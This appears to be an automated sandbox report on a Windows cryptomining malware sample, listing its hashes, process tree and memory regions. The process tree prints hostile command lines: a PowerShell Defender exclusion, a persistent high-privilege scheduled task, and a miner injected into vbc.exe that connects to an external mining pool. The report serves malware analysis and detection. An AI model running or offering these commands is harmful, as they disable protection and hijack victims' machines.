Analysis

  • max time kernel
    297s
  • max time network
    300s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    28/10/2022, 08:18

General

  • Target

    ca43548571c559a85f937635951c1ebd2a26d2ad84a8cc96f669d6b48fd2b9b7.exe

  • Size

    838KB

  • MD5

    c96d5487277ca5bf6f24520f8e391822

  • SHA1

    4280f1ada0111c007639df85803374f83467c3ff

  • SHA256

    ca43548571c559a85f937635951c1ebd2a26d2ad84a8cc96f669d6b48fd2b9b7

  • SHA512

    42808a2aeda9be51f00403a20c665689fc288310e0aed0530bdce6e13c595670b16a6c3c461b146f2fa9f7033940741151bc0bef793f96a03541c259d230a4e5

  • SSDEEP

    6144:uX/cDU0fVh+/5bcBg7Z5ZItm8tn0rGM6rgGQm3da3NQRuvJaA/fUBPXnXGcbjJ1Y:vUX156m88GG0dqawahPHPQQq

Score
8/10

Malware Config

Signatures

  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ca43548571c559a85f937635951c1ebd2a26d2ad84a8cc96f669d6b48fd2b9b7.exe
    "C:\Users\Admin\AppData\Local\Temp\ca43548571c559a85f937635951c1ebd2a26d2ad84a8cc96f669d6b48fd2b9b7.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1048
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:960
    • C:\Windows\system32\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpFFD3.tmp.bat""
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1780
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:2008
      • C:\ProgramData\Microsoft\MIDNAUHE.exe
        "C:\ProgramData\Microsoft\MIDNAUHE.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:784
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:932
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "MIDNAUHE" /tr "C:\ProgramData\Microsoft\MIDNAUHE.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:316
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "MIDNAUHE" /tr "C:\ProgramData\Microsoft\MIDNAUHE.exe"
            5⤵
            • Creates scheduled task(s)
            PID:1544
        • C:\Users\Admin\AppData\Roaming\Build.exe
          "C:\Users\Admin\AppData\Roaming\Build.exe"
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          PID:1524
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RXXAfcF8wVHd7TL79LzjJH6D2FNERzHLkp.work -p x -t 5
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1968
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c cls
            5⤵
              PID:764
    • C:\Windows\system32\taskeng.exe
      taskeng.exe {378A4B98-51EA-4C0D-AD89-0408F66B5FC3} S-1-5-21-2292972927-2705560509-2768824231-1000:GRXNNIIE\Admin:Interactive:[1]
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:548
      • C:\ProgramData\Microsoft\MIDNAUHE.exe
        C:\ProgramData\Microsoft\MIDNAUHE.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1284
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          3⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:772
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "MIDNAUHE" /tr "C:\ProgramData\Microsoft\MIDNAUHE.exe"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1364
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "MIDNAUHE" /tr "C:\ProgramData\Microsoft\MIDNAUHE.exe"
            4⤵
            • Creates scheduled task(s)
            PID:836
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RXXAfcF8wVHd7TL79LzjJH6D2FNERzHLkp.work -p x -t 5
          3⤵
            PID:188
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c cls
              4⤵
                PID:872

        Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • C:\ProgramData\Microsoft\MIDNAUHE.exe

                Filesize

                838KB

                MD5

                c96d5487277ca5bf6f24520f8e391822

                SHA1

                4280f1ada0111c007639df85803374f83467c3ff

                SHA256

                ca43548571c559a85f937635951c1ebd2a26d2ad84a8cc96f669d6b48fd2b9b7

                SHA512

                42808a2aeda9be51f00403a20c665689fc288310e0aed0530bdce6e13c595670b16a6c3c461b146f2fa9f7033940741151bc0bef793f96a03541c259d230a4e5

              • C:\ProgramData\Microsoft\MIDNAUHE.exe

                Filesize

                838KB

                MD5

                c96d5487277ca5bf6f24520f8e391822

                SHA1

                4280f1ada0111c007639df85803374f83467c3ff

                SHA256

                ca43548571c559a85f937635951c1ebd2a26d2ad84a8cc96f669d6b48fd2b9b7

                SHA512

                42808a2aeda9be51f00403a20c665689fc288310e0aed0530bdce6e13c595670b16a6c3c461b146f2fa9f7033940741151bc0bef793f96a03541c259d230a4e5

              • C:\ProgramData\Microsoft\MIDNAUHE.exe

                Filesize

                838KB

                MD5

                c96d5487277ca5bf6f24520f8e391822

                SHA1

                4280f1ada0111c007639df85803374f83467c3ff

                SHA256

                ca43548571c559a85f937635951c1ebd2a26d2ad84a8cc96f669d6b48fd2b9b7

                SHA512

                42808a2aeda9be51f00403a20c665689fc288310e0aed0530bdce6e13c595670b16a6c3c461b146f2fa9f7033940741151bc0bef793f96a03541c259d230a4e5

              • C:\ProgramData\Microsoft\chromium.dat

                Filesize

                654KB

                MD5

                a5b3b8fa07fdff608c76d4d2463e1793

                SHA1

                8ac85a5afecace98377a2e33ab8c046e01ed74db

                SHA256

                a4748fb90784b7606071bd242fe97a86b091e049018bb162c4c7b0fd591f5492

                SHA512

                b96654f1df3ffec423b4bb699544958d0dd1bd2a30e70e04bf1f0bb7bbf1dd5e25dd0cee9d65ea35f0cffdb77a489ba5356f9156e2a77328fa7e8480d6ef0302

              • C:\Users\Admin\AppData\Local\Temp\tmpFFD3.tmp.bat

                Filesize

                146B

                MD5

                433083bc88ec57864a42853c1b3fc8b6

                SHA1

                6bec5669a7bb79cc83f0b819de14c95310d55331

                SHA256

                f9d481bbe93fedfd68a9b525a13e0d19a45ed847ae6a415d4494aa4a708295bc

                SHA512

                3ab24f91bb5999eef1bef4b76c181c5285574135ae1642a0fbe5aa12721e69c4ff9b3cdd9e4005b60fbbe0ca29c2b1e395f8fbc81997d2cc787a109cd9188a43

              • C:\Users\Admin\AppData\Roaming\Build.exe

                Filesize

                8KB

                MD5

                958318b163eea97096e345be7c53c517

                SHA1

                7a372db317f231d915865ee39cf32179e62e6ae3

                SHA256

                e65663ea318c6ff19b2610d29a5b2bfd706fa82dd48a432be7717b9de91d61e5

                SHA512

                62abf4c2fd736f5b8b35e2e446db8267213caf7217d3b18b492a92d446f0e345cf8c1797da3cb9ec4438715c76c72de0402437fbc10ac9f1fee83eb639fecc0a

              • C:\Users\Admin\AppData\Roaming\Build.exe

                Filesize

                8KB

                MD5

                958318b163eea97096e345be7c53c517

                SHA1

                7a372db317f231d915865ee39cf32179e62e6ae3

                SHA256

                e65663ea318c6ff19b2610d29a5b2bfd706fa82dd48a432be7717b9de91d61e5

                SHA512

                62abf4c2fd736f5b8b35e2e446db8267213caf7217d3b18b492a92d446f0e345cf8c1797da3cb9ec4438715c76c72de0402437fbc10ac9f1fee83eb639fecc0a

              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                Filesize

                7KB

                MD5

                ae509c8a3f030934fe991ffeb380b1eb

                SHA1

                fe8892688ba9486891d1f7c28de4ecef1ac0a38b

                SHA256

                835f12f7bcf904b0bfb019024d1bbd7ead1da8fefbe0d8f68f08c5c50de268c1

                SHA512

                c1c77da33915bf7b85f6ef1cd73a0ef45631ace058edb1fb97918cc644a6ba7dfec0947530a61b9578b5307d2aae2dc88368037edc97f511226c5b8daa1f31f2

              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                Filesize

                7KB

                MD5

                ae509c8a3f030934fe991ffeb380b1eb

                SHA1

                fe8892688ba9486891d1f7c28de4ecef1ac0a38b

                SHA256

                835f12f7bcf904b0bfb019024d1bbd7ead1da8fefbe0d8f68f08c5c50de268c1

                SHA512

                c1c77da33915bf7b85f6ef1cd73a0ef45631ace058edb1fb97918cc644a6ba7dfec0947530a61b9578b5307d2aae2dc88368037edc97f511226c5b8daa1f31f2

              • \ProgramData\Microsoft\MIDNAUHE.exe

                Filesize

                838KB

                MD5

                c96d5487277ca5bf6f24520f8e391822

                SHA1

                4280f1ada0111c007639df85803374f83467c3ff

                SHA256

                ca43548571c559a85f937635951c1ebd2a26d2ad84a8cc96f669d6b48fd2b9b7

                SHA512

                42808a2aeda9be51f00403a20c665689fc288310e0aed0530bdce6e13c595670b16a6c3c461b146f2fa9f7033940741151bc0bef793f96a03541c259d230a4e5

              • memory/188-141-0x0000000140000000-0x00000001400C6000-memory.dmp

                Filesize

                792KB

              • memory/188-143-0x0000000140000000-0x00000001400C6000-memory.dmp

                Filesize

                792KB

              • memory/772-117-0x000007FEEC300000-0x000007FEECD23000-memory.dmp

                Filesize

                10.1MB

              • memory/772-119-0x000000001B770000-0x000000001BA6F000-memory.dmp

                Filesize

                3.0MB

              • memory/772-121-0x000000000293B000-0x000000000295A000-memory.dmp

                Filesize

                124KB

              • memory/772-120-0x0000000002934000-0x0000000002937000-memory.dmp

                Filesize

                12KB

              • memory/772-118-0x000007FEEB7A0000-0x000007FEEC2FD000-memory.dmp

                Filesize

                11.4MB

              • memory/784-69-0x0000000000AF0000-0x0000000000BC6000-memory.dmp

                Filesize

                856KB

              • memory/932-78-0x000000001B6F0000-0x000000001B9EF000-memory.dmp

                Filesize

                3.0MB

              • memory/932-80-0x0000000002484000-0x0000000002487000-memory.dmp

                Filesize

                12KB

              • memory/932-81-0x000000000248B000-0x00000000024AA000-memory.dmp

                Filesize

                124KB

              • memory/932-79-0x0000000002484000-0x0000000002487000-memory.dmp

                Filesize

                12KB

              • memory/932-76-0x000007FEEC1E0000-0x000007FEECC03000-memory.dmp

                Filesize

                10.1MB

              • memory/932-77-0x000007FEEADF0000-0x000007FEEB94D000-memory.dmp

                Filesize

                11.4MB

              • memory/960-59-0x000007FEF51D0000-0x000007FEF5BF3000-memory.dmp

                Filesize

                10.1MB

              • memory/960-56-0x000007FEFC281000-0x000007FEFC283000-memory.dmp

                Filesize

                8KB

              • memory/960-62-0x0000000002724000-0x0000000002727000-memory.dmp

                Filesize

                12KB

              • memory/960-61-0x000007FEF4670000-0x000007FEF51CD000-memory.dmp

                Filesize

                11.4MB

              • memory/960-63-0x0000000002724000-0x0000000002727000-memory.dmp

                Filesize

                12KB

              • memory/960-64-0x000000000272B000-0x000000000274A000-memory.dmp

                Filesize

                124KB

              • memory/1048-54-0x0000000000E00000-0x0000000000ED6000-memory.dmp

                Filesize

                856KB

              • memory/1284-109-0x00000000011F0000-0x00000000012C6000-memory.dmp

                Filesize

                856KB

              • memory/1524-84-0x0000000076171000-0x0000000076173000-memory.dmp

                Filesize

                8KB

              • memory/1968-91-0x0000000140000000-0x00000001400C6000-memory.dmp

                Filesize

                792KB

              • memory/1968-97-0x0000000140000000-0x00000001400C6000-memory.dmp

                Filesize

                792KB

              • memory/1968-104-0x0000000140000000-0x00000001400C6000-memory.dmp

                Filesize

                792KB

              • memory/1968-101-0x0000000140000000-0x00000001400C6000-memory.dmp

                Filesize

                792KB

              • memory/1968-100-0x0000000140000000-0x00000001400C6000-memory.dmp

                Filesize

                792KB

              • memory/1968-98-0x0000000140000000-0x00000001400C6000-memory.dmp

                Filesize

                792KB

              • memory/1968-106-0x0000000140000000-0x00000001400C6000-memory.dmp

                Filesize

                792KB

              • memory/1968-96-0x0000000140000000-0x00000001400C6000-memory.dmp

                Filesize

                792KB

              • memory/1968-95-0x0000000140000000-0x00000001400C6000-memory.dmp

                Filesize

                792KB

              • memory/1968-94-0x0000000140000000-0x00000001400C6000-memory.dmp

                Filesize

                792KB

              • memory/1968-86-0x0000000140000000-0x00000001400C6000-memory.dmp

                Filesize

                792KB

              • memory/1968-92-0x0000000140000000-0x00000001400C6000-memory.dmp

                Filesize

                792KB

              • memory/1968-89-0x0000000140000000-0x00000001400C6000-memory.dmp

                Filesize

                792KB

              • memory/1968-87-0x0000000140000000-0x00000001400C6000-memory.dmp

                Filesize

                792KB